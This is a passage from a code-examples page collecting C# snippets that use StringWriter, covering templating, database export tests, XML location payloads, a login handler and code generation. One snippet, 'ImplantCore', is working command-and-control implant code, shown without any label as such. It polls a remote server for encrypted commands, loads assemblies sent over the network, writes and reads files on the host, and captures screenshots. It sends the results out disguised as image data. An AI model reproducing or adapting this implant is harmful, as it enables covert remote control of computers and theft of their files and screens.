                        source = File.Open(path, FileMode.Open, FileAccess.Read, FileShare.Read);
                        break;
                    }
                }
            }

            if (source == null)
            {
                var embeddedName   = name + fileSuffix + "." + extension + ".lzma";
                var embeddedStream = Assembly
                                     .GetExecutingAssembly()
                                     .GetManifestResourceStream(embeddedName);
                if (embeddedStream == null)
                {
                    if (okayToFail)
                    {
                        loadHash = "none";
                        return(new MemoryStream());
                    }
                    else
                    {
                        throw new InvalidOperationException("No embedded stream with name '" + embeddedName + "'");
                    }
                }
                loadHash = "embedded:" + embeddedName;
                RedirectableConsole.WriteLine("Loaded XSLT from Protobuild");
                source = this.GetTransparentDecompressionStream(embeddedStream);
            }

            foreach (var replacement in replacements)
            {
                var memory = new MemoryStream();
                using (var stream = source)
                {
                    using (var writer = new StringWriter())
                    {
                        string outHashTemp;
                        var    replacementDataStream = this.LoadOverriddableResource(
                            workingDirectory,
                            replacement.Value.ResourceName,
                            language,
                            platform,
                            out outHashTemp);
                        loadHash += ":" + outHashTemp;
                        string replacementData;
                        using (var reader = new StreamReader(replacementDataStream))
                        {
                            replacementData = reader.ReadToEnd();
                        }

                        if (replacement.Value.ReplacementProcessor != null)
                        {
                            replacementData = replacement.Value.ReplacementProcessor(replacementData);
                        }

                        using (var reader = new StreamReader(stream))
                        {
                            var text = reader.ReadToEnd();
                            text = text.Replace("<!-- {" + replacement.Key + "} -->", replacementData);
                            writer.Write(text);
                            writer.Flush();
                        }

                        var resultBytes = Encoding.UTF8.GetBytes(writer.GetStringBuilder().ToString());
                        memory.Write(resultBytes, 0, resultBytes.Length);
                        memory.Seek(0, SeekOrigin.Begin);
                    }
                }

                source = memory;
            }

            return(source);
        }
Ejemplo n.º 48
0
 public string GetCapturedOutput()
 {
     return(_capture?.GetStringBuilder()?.ToString());
 }
Ejemplo n.º 49
0
        /// <summary> </summary>
        public static String proccessText(Hashtable contextitems, String text, bool usetidy)
        {
            text = !String.IsNullOrWhiteSpace(text) ? text : "";
            text = htmlService.cleanTinyCode(text); //@todo : site setting
            text = normalize_phase_paths(text, contextitems);
            // template = template.Replace("#", "${pound}");
            //  if (!template.Contains("#set($pound"))
            // template = "#set($pound = \"#\")" + System.Environment.NewLine + template;
            VelocityEngine     engine = new VelocityEngine();
            ExtendedProperties props  = setMacros(new ExtendedProperties());

            props.SetProperty("directive.manager", "Castle.MonoRail.Framework.Views.NVelocity.CustomDirectiveManager; Castle.MonoRail.Framework.Views.NVelocity");

            engine.Init(props);

            VelocityContext context = new VelocityContext();

            // attach a new event cartridge
            //context.AttachEventCartridge(new EventCartridge());
            // add our custom handler to the ReferenceInsertion event
            // context.EventCartridge.ReferenceInsertion += EventCartridge_ReferenceInsertion;



            foreach (String key in contextitems.Keys)
            {
                if (contextitems[key] != null && (contextitems[key]).GetType() == typeof(String))
                {
                    String value = contextitems[key].ToString();
                    if (String.IsNullOrEmpty(value.Trim()))
                    {
                        value = null;
                    }
                    else
                    {
                        value = value.Trim();
                    }
                    //value = value.Replace("#", "${pound}");
                    context.Put(key, value);
                }
                else
                {
                    context.Put(key, contextitems[key]);
                }
            }
            StringWriter firstwriter  = new StringWriter();
            StringWriter secondwriter = new StringWriter();

            // Merge the regions, render the nav, etc.
            engine.Evaluate(context, firstwriter, "logtag", text);
            String resultingtext = firstwriter.GetStringBuilder().ToString();

            //resultingtext = resultingtext.Replace("#", "${pound}");

            // 2nd time is to render ${siteroot} that may had been in one of the merged regions
            try {
                engine.Evaluate(context, secondwriter, "logtag", resultingtext);
                resultingtext = secondwriter.GetStringBuilder().ToString();
            } catch (Exception ex) {
                // Choked on parsing the results of the first pass, so better show what we have rather then an error
                log4net.LogManager.GetLogger("renderService").Error("Error uploading file", ex);
            }

            String parsedtext = resultingtext;

            /*if (usetidy)
             * {
             * using (Document doc = new Document(resultingtext))
             * {
             *     doc.ShowWarnings = false;
             *     doc.Quiet = true;
             *     doc.DocType = DocTypeMode.Loose;
             *     //doc.OutputXhtml = true;
             *     doc.CleanAndRepair();
             *     parsedtext = doc.Save();
             * }
             * }
             * if (String.IsNullOrEmpty(parsedtext.Trim()))
             * {
             * parsedtext = resultingtext;
             * }*/
            return(parsedtext);
        }
Ejemplo n.º 50
0
        public async Task DataDumperExportHandlesMaxEtagCorrectly()
        {
            using (var store = NewDocumentStore())
            {
                using (var session = store.OpenSession())
                {
                    for (var i = 0; i < 10; i++)
                    {
                        session.Store(new User {
                            Name = "oren #" + (i + 1)
                        });
                    }
                    session.SaveChanges();
                }

                using (var textStream = new StringWriter())
                    using (var writer = new JsonTextWriter(textStream))
                    {
                        var dumper = new CustomDataDumper(store.DocumentDatabase)
                        {
                            SmugglerOptions = new SmugglerOptions()
                        };

                        var startEtag = store.DocumentDatabase.Statistics.LastDocEtag.IncrementBy(-5);
                        var endEtag   = startEtag.IncrementBy(2);

                        writer.WriteStartArray();
                        var lastEtag = await dumper.ExportDocuments(new SmugglerOptions(), writer, startEtag, endEtag);

                        writer.WriteEndArray();
                        writer.Flush();

                        // read exported content
                        var exportedDocs = RavenJArray.Parse(textStream.GetStringBuilder().ToString());
                        Assert.Equal(2, exportedDocs.Count());

                        Assert.Equal("01000000-0000-0001-0000-000000000007", exportedDocs.First().Value <RavenJObject>("@metadata").Value <string>("@etag"));
                        Assert.Equal("01000000-0000-0001-0000-000000000008", exportedDocs.Last().Value <RavenJObject>("@metadata").Value <string>("@etag"));
                        Assert.Equal("01000000-0000-0001-0000-000000000008", lastEtag.ToString());
                    }

                using (var textStream = new StringWriter())
                    using (var writer = new JsonTextWriter(textStream))
                    {
                        var dumper = new CustomDataDumper(store.DocumentDatabase)
                        {
                            SmugglerOptions = new SmugglerOptions()
                        };

                        var startEtag = store.DocumentDatabase.Statistics.LastDocEtag.IncrementBy(-5);

                        writer.WriteStartArray();
                        var lastEtag = await dumper.ExportDocuments(new SmugglerOptions(), writer, startEtag, null);

                        writer.WriteEndArray();
                        writer.Flush();

                        // read exported content
                        var exportedDocs = RavenJArray.Parse(textStream.GetStringBuilder().ToString());
                        Assert.Equal(5, exportedDocs.Count());

                        Assert.Equal("01000000-0000-0001-0000-000000000007", exportedDocs.First().Value <RavenJObject>("@metadata").Value <string>("@etag"));
                        Assert.Equal("01000000-0000-0001-0000-00000000000B", exportedDocs.Last().Value <RavenJObject>("@metadata").Value <string>("@etag"));
                        Assert.Equal("01000000-0000-0001-0000-00000000000B", lastEtag.ToString());
                    }

                for (var i = 0; i < 10; i++)
                {
                    store.DatabaseCommands.PutAttachment("attach/" + (i + 1), null, new MemoryStream(new [] { (byte)i }), new RavenJObject());
                }

                using (var textStream = new StringWriter())
                    using (var writer = new JsonTextWriter(textStream))
                    {
                        var dumper = new CustomDataDumper(store.DocumentDatabase)
                        {
                            SmugglerOptions = new SmugglerOptions()
                        };

                        var startEtag = store.DocumentDatabase.Statistics.LastAttachmentEtag.IncrementBy(-5);
                        var endEtag   = startEtag.IncrementBy(2);

                        writer.WriteStartArray();
                        var lastEtag = await dumper.ExportAttachments(writer, startEtag, endEtag);

                        writer.WriteEndArray();
                        writer.Flush();

                        // read exported content
                        var exportedAttachments = RavenJArray.Parse(textStream.GetStringBuilder().ToString());
                        Assert.Equal(2, exportedAttachments.Count());

                        Assert.Equal("02000000-0000-0001-0000-000000000006", exportedAttachments.First().Value <string>("Etag"));
                        Assert.Equal("02000000-0000-0001-0000-000000000007", exportedAttachments.Last().Value <string>("Etag"));
                        Assert.Equal("02000000-0000-0001-0000-000000000007", lastEtag.ToString());
                    }

                using (var textStream = new StringWriter())
                    using (var writer = new JsonTextWriter(textStream))
                    {
                        var dumper = new CustomDataDumper(store.DocumentDatabase)
                        {
                            SmugglerOptions = new SmugglerOptions()
                        };

                        var startEtag = store.DocumentDatabase.Statistics.LastAttachmentEtag.IncrementBy(-5);

                        writer.WriteStartArray();
                        var lastEtag = await dumper.ExportAttachments(writer, startEtag, null);

                        writer.WriteEndArray();
                        writer.Flush();

                        // read exported content
                        var exportedAttachments = RavenJArray.Parse(textStream.GetStringBuilder().ToString());
                        Assert.Equal(5, exportedAttachments.Count());

                        Assert.Equal("02000000-0000-0001-0000-000000000006", exportedAttachments.First().Value <string>("Etag"));
                        Assert.Equal("02000000-0000-0001-0000-00000000000A", exportedAttachments.Last().Value <string>("Etag"));
                        Assert.Equal("02000000-0000-0001-0000-00000000000A", lastEtag.ToString());
                    }

                WaitForIndexing(store);

                store.DatabaseCommands.DeleteByIndex("Raven/DocumentsByEntityName", new IndexQuery()
                {
                    Query = "Tag:Users"
                }).WaitForCompletion();

                for (var i = 0; i < 10; i++)
                {
                    store.DatabaseCommands.DeleteAttachment("attach/" + (i + 1), null);
                }

                Etag user6DeletionEtag = null, user9DeletionEtag = null, attach5DeletionEtag = null, attach7DeletionEtag = null;

                WaitForUserToContinueTheTest(store);

                store.DocumentDatabase.TransactionalStorage.Batch(accessor =>
                {
                    user6DeletionEtag =
                        accessor.Lists.Read(Constants.RavenPeriodicExportsDocsTombstones, "users/6").Etag;
                    user9DeletionEtag =
                        accessor.Lists.Read(Constants.RavenPeriodicExportsDocsTombstones, "users/9").Etag;
                    attach5DeletionEtag =
                        accessor.Lists.Read(Constants.RavenPeriodicExportsAttachmentsTombstones, "attach/5").Etag;
                    attach7DeletionEtag =
                        accessor.Lists.Read(Constants.RavenPeriodicExportsAttachmentsTombstones, "attach/7").Etag;
                });

                using (var textStream = new StringWriter())
                    using (var writer = new JsonTextWriter(textStream))
                    {
                        var dumper = new CustomDataDumper(store.DocumentDatabase)
                        {
                            SmugglerOptions = new SmugglerOptions()
                        };

                        writer.WriteStartObject();
                        var lastEtags    = new LastEtagsInfo();
                        var exportResult = new ExportDataResult
                        {
                            LastDocDeleteEtag         = user6DeletionEtag,
                            LastAttachmentsDeleteEtag = attach5DeletionEtag
                        };

                        lastEtags.LastDocDeleteEtag         = user9DeletionEtag;
                        lastEtags.LastAttachmentsDeleteEtag = attach7DeletionEtag;
                        dumper.ExportDeletions(writer, new SmugglerOptions(), exportResult, lastEtags);
                        writer.WriteEndObject();
                        writer.Flush();

                        // read exported content
                        var exportJson = RavenJObject.Parse(textStream.GetStringBuilder().ToString());
                        var docsKeys   =
                            exportJson.Value <RavenJArray>("DocsDeletions").Select(x => x.Value <string>("Key")).ToArray();
                        var attachmentsKeys =
                            exportJson.Value <RavenJArray>("AttachmentsDeletions")
                            .Select(x => x.Value <string>("Key"))
                            .ToArray();
                        Assert.Equal(new [] { "users/7", "users/8", "users/9" }, docsKeys);
                        Assert.Equal(new [] { "attach/6", "attach/7" }, attachmentsKeys);
                    }
            }
        }
Ejemplo n.º 51
0
        private string buildBody(NVAATS_PARAMS prs, IAxCommon ctx, NVAATS_SETTING stng, NVAATS_PHONES phn)
        {
            try
            {
                var dev   = ctx.NvaAtsDevice.Access.Reader.Find(phn.DEVICEID);
                var devid = (dev == null) ? Guid.Empty.ToString() : dev.GUID.ToString();

                var bld   = ctx.NvaAtsBuilding.Access.Reader.Find(phn.BUILDINGID);
                var bldid = (bld == null) ? Guid.Empty.ToString() : bld.GUID.ToString();


                var doc = new XmlDocument();

                XmlDeclaration xmlDeclaration = doc.CreateXmlDeclaration("1.0", "UTF-8", null);

                XmlElement root = doc.DocumentElement;
                doc.InsertBefore(xmlDeclaration, root);

                //(2) string.Empty makes cleaner code
                XmlElement element1 = doc.CreateElement(string.Empty, "presence", "urn:ietf:params:xml:ns:pidf");

                //slide2XmlWriter.WriteAttributeString("xmlns", "a", null, "http://schemas.openxmlformats.org/drawingml/2006/main");


                var ns_dm = "urn:ietf:params:xml:ns:pidf:data-model";
                var ns_gp = "urn:ietf:params:xml:ns:pidf:geopriv10";
                var ns_cl = "urn:ietf:params:xml:ns:pidf:geopriv10:civicLoc";


                element1.SetAttribute("xmlns:dm", ns_dm);
                element1.SetAttribute("xmlns:gp", ns_gp);
                element1.SetAttribute("xmlns:cl", ns_cl);
                element1.SetAttribute("entity", phn.PHONE);
                doc.AppendChild(element1);

                XmlElement element2 = doc.CreateElement("dm", "device", ns_dm);
                element2.SetAttribute("id", devid);
                element1.AppendChild(element2);

                XmlElement element3 = doc.CreateElement("gp", "geopriv", ns_gp);
                element2.AppendChild(element3);

                XmlElement element4 = doc.CreateElement("gp", "location-info", ns_gp);
                element3.AppendChild(element4);

                XmlElement element5 = doc.CreateElement("cl", "civicAddress", ns_cl);
                element4.AppendChild(element5);

                var el = doc.CreateElement("cl", "HOUSEGUID", ns_cl);
                el.InnerText = bldid;
                element5.AppendChild(el);

                el           = doc.CreateElement("cl", "ENTRANCE", ns_cl);
                el.InnerText = phn.ENTRANCE;
                element5.AppendChild(el);

                el           = doc.CreateElement("cl", "LEVEL", ns_cl);
                el.InnerText = phn.LEVEL_;
                element5.AppendChild(el);

                el           = doc.CreateElement("cl", "ROOM", ns_cl);
                el.InnerText = phn.ROOM;
                element5.AppendChild(el);


                element3           = doc.CreateElement("dm", "deviceID", ns_dm);
                element3.InnerText = phn.PHONE;
                element2.AppendChild(element3);

                element3           = doc.CreateElement("dm", "timestamp", ns_dm);
                element3.InnerText = DateTime.Now.ToString(); //DateTime.Now.fo.ToLongDateString()+ "T"+DateTime.Now.ToLongTimeString()+"Z";
                element2.AppendChild(element3);


                using (var stringWriter = new StringWriter())
                    using (var xmlTextWriter = XmlWriter.Create(stringWriter))
                    {
                        doc.WriteTo(xmlTextWriter);
                        xmlTextWriter.Flush();
                        return(stringWriter.GetStringBuilder().ToString());
                    }
            }
            catch (Exception e)
            {
                return(null);
            }
        }
Ejemplo n.º 52
0
        private void Login()
        {
            //string username = "";
            //if (!string.IsNullOrEmpty(HttpContext.Current.Request["username"]))
            //{
            //    username = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["username"]));
            //}
            //string pwd = "";
            //if (!string.IsNullOrEmpty(HttpContext.Current.Request["pwd"]))
            //{
            //    pwd = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request["pwd"]));
            //    //pwd = WebBasic.Encryption.Encrypt(pwd);
            //    pwd = Utils.Encrypt(pwd);
            //}
            string username = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["username"]))
            {
                username = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request.Form["username"]));
            }
            string pwd = "";

            if (!string.IsNullOrEmpty(HttpContext.Current.Request["pwd"]))
            {
                pwd = InText.SafeSql(InText.SafeStr(HttpContext.Current.Request.Form["pwd"]));
                //pwd = WebBasic.Encryption.Encrypt(pwd);
                pwd = Utils.Encrypt(pwd);
            }
            int valid_type = 1;//1、根据用户名判断  2、根据邮箱判断

            if (username.Contains("@"))
            {
                valid_type = 2;
            }
            int result = 0;

            if (userBll.SelectUsernameEmailExist(username) > 0)

            {
                int count = userBll.SelectUserPwdIsTrue(username, pwd, valid_type);
                if (count > 0)
                {
                    result = UserLogin(username);//执行登录,并返回登录结果
                }
                else
                {
                    result = 2;//用户名或密码错误
                }
            }
            else
            {
                result = 4;//用户名不存在
            }
            StringWriter sw = new StringWriter();

            Newtonsoft.Json.JsonWriter writer = new Newtonsoft.Json.JsonTextWriter(sw);

            writer.WriteStartObject();
            writer.WritePropertyName("status");
            writer.WriteValue("200");
            writer.WritePropertyName("result");
            writer.WriteValue(result.ToString());
            writer.WriteEndObject();
            writer.Flush();

            string jsonText = sw.GetStringBuilder().ToString();

            Response.Write(jsonText);
        }
Ejemplo n.º 53
0
        private static void doCodeGeneration(ScriptContext context, Script script)
        {
            if (!isCodeGeneration(context))
            {
                return;
            }

            context.Compiler.AddReference(null, typeof(System.Runtime.Remoting.Channels.Ipc.IpcChannel).Assembly.FullName, false, false, null);

            if (context.IsSet(xs.save) && script != null)
            {
                context.WriteLine(OutputType.Info, string.Format("Saving script to {0} ...", context[xs.save]));
                using (new ScriptContextScope(context))
                    script.Save(context.GetString(xs.save));
                context.WriteLine(OutputType.Info, string.Format("Script file {0} saved...", context[xs.save]));
            }

            if (context.IsSet(xs.genxsd))
            {
                context.WriteLine(OutputType.Info, string.Format("Generating XML schema  ..."));

                XmlSchema x  = generateSchema(context);
                string    sf = context.GetString(xs.genxsd);
                sf = Path.GetFullPath((sf == "*") ? x.Id + ".xsd" : sf);
                using (StreamWriter target = new StreamWriter(sf, false))
                    x.Write(target);

                context.WriteLine(OutputType.Info, string.Format("XML schema saved to {0} ...", sf));
            }

            // Generate source code
            StringWriter source     = new StringWriter();
            string       entryPoint = null;

            if (script != null && (context.IsSet(xs.genlibrary) || context.IsSet(xs.genexe) || context.IsSet(xs.genwinexe) || context.IsSet(xs.gencs)))
            {
                context.WriteLine(OutputType.Info, "Generating C# source code...");
                SharpCodeGenerator codeGenerator = new SharpCodeGenerator(context.Compiler);

                if (context.IsSet(xs.@namespace))
                {
                    codeGenerator.Namespace = context.GetString(xs.@namespace);
                }

                string baseName = Path.GetFileNameWithoutExtension(script.Location).ToLower();
                if (script.Id != null)
                {
                    baseName = script.Id;
                }
                baseName = Utils.FixFilename(baseName);

                if (context.IsSet(xs.@class))
                {
                    codeGenerator.Class = context.GetString(xs.@class);
                }
                else
                {
                    string cl;
                    cl = baseName;
                    if (char.IsDigit(cl[0]))
                    {
                        cl = "C" + cl;
                    }
                    if (!char.IsUpper(cl[0]))
                    {
                        cl = cl.Substring(0, 1).ToUpperInvariant() + cl.Substring(1);
                    }
                    cl = SharpCodeGenerator.ToValidName(cl);
                    if (cl == "Script" || cl == "Run")
                    {
                        cl = "C" + cl;
                    }
                    codeGenerator.Class = cl;
                }

                string pref = string.Empty;
                if (!string.IsNullOrEmpty(context.CodeOutputDirectory))
                {
                    pref = Path.Combine(context.CodeOutputDirectory, "bin\\Debug\\");
                }
                if (context.IsSet(xs.genexe) && context.GetString(xs.genexe) == "*")
                {
                    context[xs.genexe] = pref + baseName + ".exe";
                }
                if (context.IsSet(xs.genwinexe) && context.GetString(xs.genwinexe) == "*")
                {
                    context[xs.genwinexe] = pref + baseName + ".exe";
                }
                if (context.IsSet(xs.genlibrary) && context.GetString(xs.genlibrary) == "*")
                {
                    context[xs.genlibrary] = pref + baseName + ".dll";
                }
                if (context.IsSet(xs.gencs) && context.GetString(xs.gencs) == "*")
                {
                    context[xs.gencs] = baseName + ".cs";
                }

                GeneratorOptions options = GeneratorOptions.None;
                if (context.IsSet(xs.genexe))
                {
                    options |= GeneratorOptions.IncludeSource | GeneratorOptions.ForExe | GeneratorOptions.CreateMain;
                }
                if (context.IsSet(xs.genwinexe))
                {
                    options |= GeneratorOptions.IncludeSource | GeneratorOptions.ForExe | GeneratorOptions.CreateMain | GeneratorOptions.WinExe;
                }
                if (context.IsSet(xs.genlibrary))
                {
                    options |= GeneratorOptions.IncludeSource | GeneratorOptions.ForExe;
                }
                if (context.GetBool(xs.main, false))
                {
                    options |= GeneratorOptions.CreateMain;
                }
                if (context.GetBool(xs.forcenet20, false))
                {
                    options |= GeneratorOptions.ForceNet20;
                }
                if (context.CodeOutputDirectory == null && !context.IsSet(xs.gencs))
                {
                    options |= GeneratorOptions.ForceNet20; // this is a bit faster
                }
                if (context.GetBool(xs.noSrc, false))
                {
                    options &= ~GeneratorOptions.IncludeSource;
                }


                codeGenerator.Generate(context, source, script, options);
                if (context.IsSet(xs.genexe) || context.IsSet(xs.genwinexe))
                {
                    entryPoint = codeGenerator.Namespace + "." + codeGenerator.Class + "Program";
                }
            }

            // Save it to disk, if necessary
            string code = source.GetStringBuilder().ToString();

            if (script != null && context.IsSet(xs.gencs))
            {
                using (StreamWriter sourceDisk = new StreamWriter(context.GetString(xs.gencs), false))
                {
                    sourceDisk.Write(code);
                }
                context.WriteLine(OutputType.Info, string.Format("C# source code saved to {0} ...", context[xs.gencs]));
            }

            // Load the other part from resources
            if (script != null && (context.IsSet(xs.genexe) || context.IsSet(xs.genwinexe) || context.IsSet(xs.genlibrary)))
            {
                CompiledOutputType outType;
                string             e;
                if (context.IsSet(xs.genexe))
                {
                    e       = context.GetString(xs.genexe);
                    outType = CompiledOutputType.ConsoleExe;
                }
                else if (context.IsSet(xs.genwinexe))
                {
                    e       = context.GetString(xs.genwinexe);
                    outType = CompiledOutputType.WindowsExe;
                }
                else
                {
                    e       = context.GetString(xs.genlibrary);
                    outType = CompiledOutputType.Library;
                }

                context.WriteLine(OutputType.Info, string.Format("Compiling {0}...", e));


                var copt = new CompileOptions
                {
                    ExtraOptions        = context.GetString(xs.compilerOptions, null),
                    CodeOutputDirectory = context.CodeOutputDirectory,
                    StreamProvider      = context.FindResourceMemoryStream,
                    FilesToEmbed        = context.GetFilesToEmbed(),
                    EntryPoint          = entryPoint,
                };
                if (context.IsSet(xs.genexe) || context.IsSet(xs.genwinexe))
                {
                    if (script.RequireAdmin != RequireAdminMode.User)
                    {
                        copt.Compiled = AppDomainLoader.TryLoadResourceStream(@"Manifests.requireAdministrator.res").ToArray();
                        copt.Manifest = AppDomainLoader.TryLoadResourceStream(@"Manifests.requireAdministrator.manifest").ToArray();
                    }
                    else
                    {
                        copt.Compiled = AppDomainLoader.TryLoadResourceStream(@"Manifests.asInvoker.res").ToArray();
                        copt.Manifest = AppDomainLoader.TryLoadResourceStream(@"Manifests.asInvoker.manifest").ToArray();
                    }
                    if (context.IsSet(xs.icon))
                    {
                        copt.Icon = context.ReadBytes(context.GetStr(xs.icon));
                    }
                    else
                    {
                        copt.Icon = AppDomainLoader.TryLoadResourceStream(@"Source.xsh.ico").ToArray();
                    }
                }


                // If we're building .EXE, add a reference to ZipLib. We don't want to do it
                // unnecessarily to save time, and also allow XSharper.Core use w/o ZipLib, so the reference is added only if it's loaded

                foreach (var ass in AppDomain.CurrentDomain.GetAssemblies())
                {
                    if (ass.FullName != null && ass.FullName.Contains("ICSharpCode.SharpZipLib"))
                    {
                        context.Compiler.AddReference(null, ass.FullName, true, false, null);
                        break;
                    }
                }

                context.Compiler.Compile(outType, code, e, copt);
                context.WriteLine(OutputType.Info, string.Format("Executable saved to {0} ...", e));
            }
        }
Ejemplo n.º 54
0
    private static void AddAttributes(CodeTypeMember method, CodeTypeMember property, CodeSnippetTypeMember propertySnippet,
	                                  string findRegex, string replaceRegex)
    {
        if (method.CustomAttributes.Count > 0)
        {
            using (StringWriter writer = new StringWriter())
            {
                string propertyCode = string.IsNullOrEmpty(propertySnippet.Name)
                                          ? GetMemberCode(property, writer)
                                          : propertySnippet.Text;
                writer.GetStringBuilder().Length = 0;
                for (int i = method.CustomAttributes.Count - 1; i >= 0; i--)
                {
                    CodeAttributeDeclaration attributeDeclaration = method.CustomAttributes[i];
                    if (attributeDeclaration.AttributeType.BaseType != "SmokeMethod")
                    {
                        propertySnippet.CustomAttributes.Insert(0, attributeDeclaration);
                        method.CustomAttributes.RemoveAt(i);
                    }
                }
                string getterCode = GetMemberCode(method, writer);
                string attribute = string.Format(replaceRegex, regexAttribute.Match(getterCode).Groups[1].Value);
                string propertyWithAttribute = Regex.Replace(propertyCode, findRegex, attribute);
                propertySnippet.Name = property.Name;
                propertySnippet.Attributes = property.Attributes;
                propertySnippet.Text = propertyWithAttribute;
            }
        }
    }
Ejemplo n.º 55
0
    static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
    {
        UrlGen.Init(stringURLS, RandomURI, baseURL);
        ImgGen.Init(stringIMGS);
        int beacontime = 5;
        var ibcnRgx    = new Regex(@"(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
        var imch       = ibcnRgx.Match(Sleep);

        if (imch.Success)
        {
            beacontime = Parse_Beacon_Time(imch.Groups["t"].Value, imch.Groups["u"].Value);
        }
        var strOutput = new StringWriter();

        Console.SetOut(strOutput);
        var exitvt = new ManualResetEvent(false);
        var output = new StringBuilder();

        while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - Double.Parse(Jitter))), (int)(beacontime * 1000 * (1F + Double.Parse(Jitter)))))))
        {
            if (Convert.ToDateTime(KillDate) < DateTime.Now)
            {
                exitvt.Set();
                continue;
            }
            output.Length = 0;
            try
            {
                String x = "", cmd = null;
                try
                {
                    cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
                    x   = Decryption(Key, cmd).Replace("\0", string.Empty);
                }
                catch
                {
                    continue;
                }
                if (x.ToLower().StartsWith("multicmd"))
                {
                    var splitcmd = x.Replace("multicmd", "");
                    var split    = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (string c in split)
                    {
                        var taskId = c.Substring(0, 5);
                        cmd = c.Substring(5, c.Length - 5);
                        if (cmd.ToLower().StartsWith("exit"))
                        {
                            exitvt.Set();
                            break;
                        }
                        else if (cmd.ToLower().StartsWith("loadmodule"))
                        {
                            var module   = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
                            var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module));
                        }
                        else if (cmd.ToLower().StartsWith("upload-file"))
                        {
                            var path      = Regex.Replace(cmd, "upload-file", "", RegexOptions.IgnoreCase);
                            var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries);
                            Console.WriteLine("Uploaded file to: " + splitargs[1]);
                            var fileBytes = Convert.FromBase64String(splitargs[0]);
                            System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes);
                        }
                        else if (cmd.ToLower().StartsWith("download-file"))
                        {
                            var path      = Regex.Replace(cmd, "download-file ", "", RegexOptions.IgnoreCase);
                            var file      = File.ReadAllBytes(path.Replace("\"", ""));
                            var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file);

                            var eTaskId      = Encryption(Key, taskId);
                            var dcoutput     = Encryption(Key, "", true, fileChuck);
                            var doutputBytes = System.Convert.FromBase64String(dcoutput);
                            var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                            GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("get-screenshotmulti"))
                        {
                            bool sShot      = true;
                            int  sShotCount = 1;
                            while (sShot)
                            {
                                var sHot         = rAsm("run-exe Core.Program Core get-screenshot");
                                var eTaskId      = Encryption(Key, taskId);
                                var dcoutput     = Encryption(Key, strOutput.ToString(), true);
                                var doutputBytes = System.Convert.FromBase64String(dcoutput);
                                var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                                GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                                Thread.Sleep(240000);
                                sShotCount++;
                                if (sShotCount > 100)
                                {
                                    sShot = false;
                                    var sbc = strOutput.GetStringBuilder();
                                    sbc.Remove(0, sbc.Length);
                                    output.Append("[+] Multi Screenshot Ran Sucessfully");
                                }
                            }
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("get-screenshot"))
                        {
                            var sHot         = rAsm("run-exe Core.Program Core get-screenshot");
                            var eTaskId      = Encryption(Key, taskId);
                            var dcoutput     = Encryption(Key, strOutput.ToString(), true);
                            var doutputBytes = System.Convert.FromBase64String(dcoutput);
                            var dsendBytes   = ImgGen.GetImgData(doutputBytes);
                            GetWebRequest(eTaskId).UploadData(UrlGen.GenerateUrl(), dsendBytes);
                            var sbc = strOutput.GetStringBuilder();
                            sbc.Remove(0, sbc.Length);
                            continue;
                        }
                        else if (cmd.ToLower().StartsWith("listmodules"))
                        {
                            var appd = AppDomain.CurrentDomain.GetAssemblies();
                            output.AppendLine("[+] Modules loaded:").AppendLine("");
                            foreach (var ass in appd)
                            {
                                output.AppendLine(ass.FullName.ToString());
                            }
                        }
                        else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
                        {
                            output.AppendLine(rAsm(cmd));
                        }
                        else if (cmd.ToLower().StartsWith("setbeacon") || cmd.ToLower().StartsWith("beacon"))
                        {
                            var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase);
                            var mch    = bcnRgx.Match(c);
                            if (mch.Success)
                            {
                                beacontime = Parse_Beacon_Time(mch.Groups["t"].Value, mch.Groups["u"].Value);
                            }
                            else
                            {
                                output.AppendLine(String.Format(@"[X] Invalid time ""{0}""", c));
                            }
                        }

                        output.AppendLine(strOutput.ToString());
                        var sb = strOutput.GetStringBuilder();
                        sb.Remove(0, sb.Length);
                        var enTaskId    = Encryption(Key, taskId);
                        var coutput     = Encryption(Key, output.ToString(), true);
                        var outputBytes = System.Convert.FromBase64String(coutput);
                        var sendBytes   = ImgGen.GetImgData(outputBytes);
                        GetWebRequest(enTaskId).UploadData(UrlGen.GenerateUrl(), sendBytes);
                    }
                }
            }
            catch (Exception e)
            {
                var task        = Encryption(Key, "Error");
                var eroutput    = Encryption(Key, String.Format("Error: {0} {1}", output.ToString(), e), true);
                var outputBytes = System.Convert.FromBase64String(eroutput);
                var sendBytes   = ImgGen.GetImgData(outputBytes);
                GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes);
            }
        }
    }
	public bool runTest()
	{
		Console.WriteLine(s_strTFPath + "\\" + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
		int iCountErrors = 0;
		int iCountTestcases = 0;
		String strValue = String.Empty;
		Char[] chArr = new Char[]{
			Char.MinValue
			,Char.MaxValue
			,'\t'
			,' '
			,'$'
			,'@'
			,'#'
			,'\0'
			,'\v'
			,'\''
			,'\u3190'
			,'\uC3A0'
			,'A'
			,'5'
			,'\uFE70' 
			,'-'
			,';'
			,'\u00E6'
		};
		try {
			StringBuilder sb = new StringBuilder();
			StringWriter sw = new StringWriter(sb);
			for(int i = 0 ; i < chArr.Length ; i++)
